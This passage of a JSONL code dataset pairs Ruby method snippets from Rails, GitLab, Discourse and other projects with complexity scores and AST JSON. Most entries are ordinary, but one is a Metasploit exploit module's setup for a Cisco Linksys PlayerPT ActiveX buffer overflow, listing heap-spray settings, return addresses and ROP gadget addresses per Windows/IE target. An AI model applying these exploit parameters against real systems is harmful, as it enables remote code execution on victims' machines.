end","complexity_score":21.3,"ast_json":"{\"type\":\"def\",\"children\":[\"build_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"arg\",\"children\":[\"uri\"]},{\"type\":\"arg\",\"children\":[\"payload\"]},{\"type\":\"arg\",\"children\":[\"headers\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request_class\",{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"upcase\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"HTTP_GET\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]},\"Get\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"HTTP_POST\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]},\"Post\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"HTTP_PUT\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]},\"Put\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"HTTP_PATCH\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]},\"Patch\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"HTTP_DELETE\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]},\"Delete\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unsupported HTTP method: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request_class\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"POST\"]},{\"type\":\"str\",\"children\":[\"PUT\"]},{\"type\":\"str\",\"children\":[\"PATCH\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"upcase\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"body=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"to_json\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"request\"]}]}]}","id":"177aa4db-6955-486a-a4af-c3f406f4299f"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/admin_plugin_serializer.rb","start_line":67,"raw_source":"def has_settings\n    object.any_settings?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"any_settings?\"]}]}","id":"8b7bbe47-3be5-4b1c-87f5-fe5afead9f55"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/budgets/app/models/budget.rb","start_line":228,"raw_source":"def correct_material_attributes!(attributes)\n    return unless attributes\n\n    attributes[:units] = Rate.parse_number_string_to_number(attributes[:units])\n    attributes[:amount] = Rate.parse_number_string(attributes[:amount])\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"correct_material_attributes!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"units\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rate\"]},\"parse_number_string_to_number\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"units\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"amount\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rate\"]},\"parse_number_string\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"amount\"]}]}]}]}]}]}","id":"1d789234-a801-42a9-97be-3646d893f6cb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/search/navigation.rb","start_line":162,"raw_source":"def show_milestones_search_tab?\n      project.nil? || tab_enabled_for_project?(:milestones)\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"show_milestones_search_tab?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"tab_enabled_for_project?\",{\"type\":\"sym\",\"children\":[\"milestones\"]}]}]}]}","id":"f80d67a6-4d37-474a-b47d-8accde44cdd9"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20240909155030_add_role_indexes_to_billboards.rb","start_line":4,"raw_source":"def change\n    add_index :display_ads, :exclude_role_names, using: 'gin', algorithm: :concurrently\n    add_index :display_ads, :target_role_names, using: 'gin', algorithm: :concurrently\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"display_ads\"]},{\"type\":\"sym\",\"children\":[\"exclude_role_names\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"using\"]},{\"type\":\"str\",\"children\":[\"gin\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"display_ads\"]},{\"type\":\"sym\",\"children\":[\"target_role_names\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"using\"]},{\"type\":\"str\",\"children\":[\"gin\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]}]}]}","id":"84f8eba9-def0-4c8d-a740-eeefe34222c4"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/live_stream_test.rb","start_line":622,"raw_source":"def test_exception_in_controller_before_streaming\n      assert_raises(ActionController::LiveStreamTest::Exception) do\n        get :exception_in_controller, format: \"text/event-stream\"\n      end\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_exception_in_controller_before_streaming\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"LiveStreamTest\"]},\"Exception\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"exception_in_controller\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"text/event-stream\"]}]}]}]}]}]}","id":"dc2c4052-cb81-4766-9fdf-9c19f034323f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_sharding/router.rb","start_line":56,"raw_source":"def route_to(shard_name)\n          # early return if main since we do not want a redundant feature flag check\n          return shard_name if shard_name == Gitlab::Redis::Queues::SIDEKIQ_MAIN_SHARD_INSTANCE_NAME\n          return shard_name if migrated_shards.include?(shard_name)\n\n          if shard_name.nil? ||\n              Feature.disabled?(:\"sidekiq_route_to_#{shard_name}\", type: :worker, default_enabled_if_undefined: false)\n            # NOTE: this only works when splitting shard out from the main shard\n            # An example where this does not work is if a queue `A` in a shard with 2 queue (A and B)\n            # needs to be migrated to a new shard.\n            return Gitlab::Redis::Queues::SIDEKIQ_MAIN_SHARD_INSTANCE_NAME\n          end\n\n          shard_name\n        end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"route_to\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"shard_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shard_name\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"Queues\"]},\"SIDEKIQ_MAIN_SHARD_INSTANCE_NAME\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shard_name\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migrated_shards\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"shard_name\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shard_name\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shard_name\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"disabled?\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"sidekiq_route_to_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shard_name\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"worker\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_enabled_if_undefined\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"Queues\"]},\"SIDEKIQ_MAIN_SHARD_INSTANCE_NAME\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"shard_name\"]}]}]}","id":"b623a2eb-4427-4b69-897b-d1176db9705d"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/user_comm_screener.rb","start_line":141,"raw_source":"def disallowing_pms_from_actor?(user_id)\n    validate_user_id!(user_id)\n    preferences.disallowing_pms?(user_id) || ignoring_or_muting_actor?(user_id)\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"disallowing_pms_from_actor?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_user_id!\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"preferences\"]},\"disallowing_pms?\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[null,\"ignoring_or_muting_actor?\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]}]}]}","id":"7a398d6d-ca53-449c-8608-47319fb03674"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/json/encoding_test.rb","start_line":545,"raw_source":"def with_standard_json_time_format(boolean = true)\n      old, ActiveSupport.use_standard_json_time_format = ActiveSupport.use_standard_json_time_format, boolean\n      yield\n    ensure\n      ActiveSupport.use_standard_json_time_format = old\n    end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"with_standard_json_time_format\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"boolean\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"use_standard_json_time_format=\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"use_standard_json_time_format\"]},{\"type\":\"lvar\",\"children\":[\"boolean\"]}]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"use_standard_json_time_format=\",{\"type\":\"lvar\",\"children\":[\"old\"]}]}]}]}","id":"0d7948e1-9439-496b-bff5-cdd1bfdfb3d8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/serialized_attribute_test.rb","start_line":384,"raw_source":"def test_classes_without_no_arg_constructors_are_not_supported\n    assert_raises(ArgumentError) do\n      Topic.serialize(:content, type: Regexp)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_classes_without_no_arg_constructors_are_not_supported\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"serialize\",{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Regexp\"]}]}]}]}]}]}","id":"10463294-c67b-45d7-a8af-979aa7667efc"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/actions/contact_identify_action.rb","start_line":134,"raw_source":"def additional_attributes\n    return @contact.additional_attributes if params[:additional_attributes].blank?\n\n    (@contact.additional_attributes || {}).deep_merge(params[:additional_attributes].stringify_keys)\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"additional_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"additional_attributes\"]}]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact\"]},\"additional_attributes\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact\"]},\"additional_attributes\"]},{\"type\":\"hash\",\"children\":[]}]}]},\"deep_merge\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"additional_attributes\"]}]},\"stringify_keys\"]}]}]}]}","id":"64e2a2fb-e4d2-4e97-955e-4fa8f80bf660"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/blocked_user_tracker.rb","start_line":5,"raw_source":"def initialize(user, auth)\n        @user = user\n        @auth = auth\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"auth\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@auth\",{\"type\":\"lvar\",\"children\":[\"auth\"]}]}]}]}","id":"8b7254e8-5df8-4ddc-9283-2ec8231e46cb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb","start_line":24,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Cisco Linksys PlayerPT ActiveX Control SetSource sURL Argument Buffer Overflow',\n        'Description' => %q{\n          This module exploits a vulnerability found in Cisco Linksys PlayerPT 1.0.0.15\n          as the installed with the web interface of Cisco Linksys WVC200 Wireless-G PTZ\n          Internet Video Camera. The vulnerability, due to the insecure usage of sprintf in\n          the SetSource method, when handling a specially crafted sURL argument, allows to\n          trigger a stack based buffer overflow which leads to code execution under the\n          context of the user visiting a malicious web page.\n        },\n        'Author' => [\n          'Carsten Eiram', # Vuln discovery\n          'juan vazquez' # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2012-0284' ],\n          [ 'OSVDB', '84309'],\n          [ 'BID', '54588' ],\n          [ 'URL', 'http://web.archive.org/web/20120808000045/http://secunia.com:80/secunia_research/2012-25/' ],\n\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'\n        },\n        'Payload' => {\n          'Space' => 1024,\n          'DisableNops' => true,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Automatic', {} ],\n          [\n            'IE 6 on Windows XP SP3',\n            {\n              'SprayBlocks' => 0x185,\n              'SprayOffset' => '0x0',\n              'Ret' => 0x0c0c0c0c,\n              'Rop' => nil,\n              'RandomHeap' => false\n            }\n          ],\n          [\n            'IE 7 on Windows XP SP3 / Windows Vista SP2',\n            {\n              'SprayBlocks' => 0x185,\n              'SprayOffset' => '0x0',\n              'Ret' => 0x0c0c0c0c,\n              'Rop' => nil,\n              'RandomHeap' => false\n            }\n          ],\n          [\n            'IE 8 on Windows XP SP3',\n            {\n              'SprayBlocks' => 0x185,\n              'SprayOffset' => '0x0',\n              'Ret' => 0x77c3546b, # ret from msvcrt\n              'StackPivot_1' => 0x77c3546a, # pop ebp; ret from msvcrt\n              'StackPivot_2' => 0x77c35468, # mov esp,ebp; pop ebp; ret from msvcrt\n              'Rop' => :msvcrt,\n              'RopChainOffset' => '0x5f4',\n              'RandomHeap' => false\n            }\n          ],\n          [\n            'IE 8 with Java 6 on Windows XP SP3',\n            {\n              'SprayBlocks' => 0x185,\n              'SprayOffset' => '0x0',\n              'Ret' => 0x7c3424f2, # ret from msvcr71.dll\n              'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll\n              'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll\n              'Rop' => :jre,\n              'RopChainOffset' => '0x5f4',\n              'RandomHeap' => false\n            }\n          ],\n          [\n            'IE 8 with Java 6 on Windows 7 SP1/Vista SP2',\n            {\n              'SprayBlocks' => 0x185,\n              'SprayOffset' => '0x0',\n              'Ret' => 0x7c3424f2, # ret from msvcr71.dll\n              'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll\n              'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll\n              'Rop' => :jre,\n              'RopChainOffset' => '0x5f4',\n              'RandomHeap' => false\n            }\n          ],\n          [\n            'IE 9 with Java 6 on Windows 7 SP1',\n            {\n              'SprayBlocks' => 0x1000,\n              'SprayOffset' => '0x0',\n              'Ret' => 0x7c3424f2, # ret from msvcr71.dll\n              'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll\n              'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll\n              'Rop' => :jre,\n              'RopChainOffset' => '0x5fe',\n              'RandomHeap' => true,\n            }\n          ]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2012-07-17',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])\n      ], self.class\n    )\n  end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Cisco Linksys PlayerPT ActiveX Control SetSource sURL Argument Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a vulnerability found in Cisco Linksys PlayerPT 1.0.0.15\\n\"]},{\"type\":\"str\",\"children\":[\"          as the installed with the web interface of Cisco Linksys WVC200 Wireless-G PTZ\\n\"]},{\"type\":\"str\",\"children\":[\"          Internet Video Camera. The vulnerability, due to the insecure usage of sprintf in\\n\"]},{\"type\":\"str\",\"children\":[\"          the SetSource method, when handling a specially crafted sURL argument, allows to\\n\"]},{\"type\":\"str\",\"children\":[\"          trigger a stack based buffer overflow which leads to code execution under the\\n\"]},{\"type\":\"str\",\"children\":[\"          context of the user visiting a malicious web page.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Carsten Eiram\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2012-0284\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"84309\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"54588\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://web.archive.org/web/20120808000045/http://secunia.com:80/secunia_research/2012-25/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"InitialAutoRunScript\"]},{\"type\":\"str\",\"children\":[\"post/windows/manage/priv_migrate\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1024]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"IE 6 on Windows XP SP3\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SprayBlocks\"]},{\"type\":\"int\",\"children\":[389]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SprayOffset\"]},{\"type\":\"str\",\"children\":[\"0x0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[202116108]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Rop\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RandomHeap\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"IE 7 on Windows XP SP3 / Windows Vista SP2\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SprayBlocks\"]},{\"type\":\"int\",\"children\":[389]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SprayOffset\"]},{\"type\":\"str\",\"children\":[\"0x0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[202116108]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Rop\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RandomHeap\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"IE 8 on Windows XP SP3\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SprayBlocks\"]},{\"type\":\"int\",\"children\":[389]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SprayOffset\"]},{\"type\":\"str\",\"children\":[\"0x0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2009289835]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackPivot_1\"]},{\"type\":\"int\",\"children\":[2009289834]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackPivot_2\"]},{\"type\":\"int\",\"children\":[2009289832]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Rop\"]},{\"type\":\"sym\",\"children\":[\"msvcrt\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RopChainOffset\"]},{\"type\":\"str\",\"children\":[\"0x5f4\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RandomHeap\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"IE 8 with Java 6 on Windows XP 